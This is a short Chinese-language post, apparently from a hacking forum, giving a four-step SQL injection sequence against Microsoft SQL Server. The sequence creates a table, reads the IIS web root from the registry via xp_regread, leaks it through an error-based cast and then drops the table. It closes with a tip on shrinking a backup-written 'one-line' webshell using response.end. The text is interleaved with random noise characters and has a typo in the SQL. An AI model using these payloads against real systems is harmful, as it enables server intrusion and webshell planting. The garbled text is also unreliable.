1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表 N' E" g1 X, j- y: L
, L; r9 p( Z5 D4 `
' W+ L# y9 o4 R& r' e- V) W+ p0 C
2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’-- 将网站目录插到表字段中 e n/ L: s; ~' W U$ W
6 r; b8 ~, s z+ b, y
X2 q. W4 n# W) e
3、and (select top 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data] desc)=0 ’//暴出字段: @ N6 z2 l5 {% o& X- {$ n
' C1 ?+ M- ]' b" c |- g& ?; h. j" A
4、drop table [jm_tmp]-- 删除此表。- ~; H- m3 E I- ?
) _# ~. [, ]; p, _$ v+ A: m# |5 [" Z/ Y( w. o$ x
另附上备分专用一句话6 b3 A( _1 U% D9 P& t
加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.
2 u2 N+ m- D \8 V+ _ |